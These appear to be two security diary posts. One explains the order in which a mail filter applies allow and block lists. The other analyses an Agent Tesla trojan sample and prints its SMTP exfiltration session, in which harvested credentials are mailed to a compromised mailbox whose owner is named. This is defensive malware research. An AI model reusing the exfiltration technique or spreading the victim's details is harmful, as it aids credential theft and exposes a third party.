Blocklisting or Whitelisting in the Right Way
It's Friday today, I'd like to talk about something else. Black (or white) lists are everywhere today. Many security tools implement a way to allow/deny accesses or actions on resources based on "lists" bsides the automated processing of data. The approach to implement them is quite different:
| Methodology | Pro | Con | |
| White list | Deny everything by default and allow exceptions | Full control of all resources | Harder to manage Frequent updates Can be frustrating for the user. |
| Black list | Allow everything by default and deny exceptions | Easy to manage Less impact on users |
Only "known" resources are blocked |
A classic example is applications allowed to users on endpoints in a corporate environment (Microsoft AppLocker[1] works like this): You can allow all applications but block some or you can deny all applications but allow only approved ones.
When you have a security product that implements both types, how are they processed? In which order? Let's take an example that I faced yesterday at a customer. The security product is a mail protection system which scans incoming SMTP traffic, extracts emails, attachments and tests them (in a sandbox if needed). Two types of lists are available and may contain the following indicators:
- A sender email address
- A sender domain
- A sender IP address
- An URL
- A MD5 hash
- A recipient email address
Lists are:
- Allowed list
- Blocking list
This looks very efficient: you can white list IP addresses of internal SMTP relays, domains from partners, or block domains used by spammers. But it can also have nasty effects. The question to think about is: In which order are the lists processed? They are multiple scenarios possible:
- Process the blocking list first and, if a match is found, stop processing the other list
- Process the allowed list first and, if a match is found, stop processing the other list
- Process the blocking list and, if a match is found, check in the allowed list if there isn't an exception
- Process the allowed list and, if a match is found, check in the blocking list if there isn't an exception
Let's take the practical example that I faced yesterday as an example:
In the blocking list, there is a rule to prevent people to receive emails from the following domain: "efax.com". This rule is in place for months. Suddenly, a user complained that he can't receive emails from the domain "telefax.com.uy". So, we added a rule in the allowed list to always allow emails sent from this domain. But it did not work... After some investigations, we found the issue!
The blocking list is processed in the first place and still rejected emails from telefax.com.uy (because the 'efax.com' rule matched). But why does it match a sub-string of the domain? By reading the documentation, we found that regular exceptions are allowed in rules.
To fix this issue, we changed the blocking rule to '^efax\.com$' to really match this domain and nothing else. With this configuration, the blocking list did not match any rule and the allowed list matched on 'telefax.com.uy". Happy user!
Conclusion: The implementation of white or black-list is not easy and must be carefully tested and... RTFM[2] to be sure to fully understand their priority!
[1] https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview
[2] https://en.wikipedia.org/wiki/RTFM
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Agent Tesla Trojan Abusing Corporate Email Accounts
The trojan 'Agent Tesla' is not brand new, discovered in 2018, it is written in VisualBasic and has plenty of interesting features. Just have a look at the MITRE ATT&CK overview of its TTP[1].
I found a sample of Agent Tesla spread via a classic email campaign. The sample is delivered in an ACE archive called 'Parcel Frieght Details.pdf.ace' (SHA256:d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a). You can spot the type error in the file name ('frieght' instead of 'freight'). The archive has a VT score of 8/57[2]. Inside the archive, there is a PE file with the same typo error: 'Parcel Frieght Details.pdf.exe' (SHA256:5881f0f7dac664c84a5ce6ffbe0ea84427de6eb936e6d8cb7e251d9a430cd42a). The PE file is unknown on VT when writing this diary.
Agent Tesla uses multiple exfiltration techniques: SMTP, FTP & HTTP. In this case, the sample used SMTP to exfiltrate the victim’s data. He connected to an SMTP server via port 587. Why TCP/587 and not the regular TCP/25? Because, while connecting via this port, the remote SMTP server will require authentication. If port 25 is often firewalled, port 587 remains open for egress traffic on many networks.
Here is a dump of the SMTP traffic:
EHLO PlayBox1 250-res180.servconfig.com Hello PlayBox1 [x.x.x.x] 250-SIZE 52428800 250-8BITMIME..250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250 HELP AUTH login bXNoYWhpZEBtZWRpdXJnZS5jb20= 334 UGFzc3dvcmQ6 <removed> 235 Authentication succeeded MAIL FROM:<mshahid@mediurge.com> 250 OK RCPT TO:<mshahid@mediurge.com> 250 Accepted DATA 354 Enter message, ending with "." on a line by itself MIME-Version: 1.0 From: mshahid@mediurge.com To: mshahid@mediurge.com Date: 18 Sep 2019 08:44:10 +0100 Subject: admin/PlayBox1 Recovered Accounts Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable Time: 09/18/2019 07:44:01<br> UserName: administrator<br> ComputerName: PLAYBOX1<br> OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br> RAM: 3583.61 MB<br> IP: x.x.x.x <hr> URL: https://www.facebook.com/<br> Username: john.doe@pwn3d.be<br> Password: SuperSafePW<br> Application: Chrome<br><hr> URL: https://www.facebook.com<br> Username: john.doe@pwn3d.be<br> Password: SuperSafePW<br> Application: Outlook . 250 OK id=1iAUdG-002MAp-KD
mediurge.com is a company based in Pakistan which delivers healthcare products but their website is running on a server hosted in Los Angeles, US. The server has many open ports and vulnerabilities as reported by Shodan[3].
You can see that this server exposes a lot of services and suffers from multiple vulnerabilities. Probably, the attackers compromized the server and retrieved the password of the mailbox 'mshahid@mediurge.com' or they obtained the password via another way. The email address is a valid one and matches an employee of this company[4]:
.png)
For the attackers, it's easy to collect exfiltrated data by fetching the mailbox via POP3 or IMAP4 (both are available according to Shodan).
Tip: Keep an eye on your mail server activity to detect unusual behaviour (peak of traffic, connections from unusual locations, ...)
[1] https://attack.mitre.org/software/S0331/
[2] https://www.virustotal.com/gui/file/d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a/detection
[3] https://www.shodan.io/host/205.134.252.187
[4] https://www.linkedin.com/in/muhammad-shahid-ghafoor-87622240/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments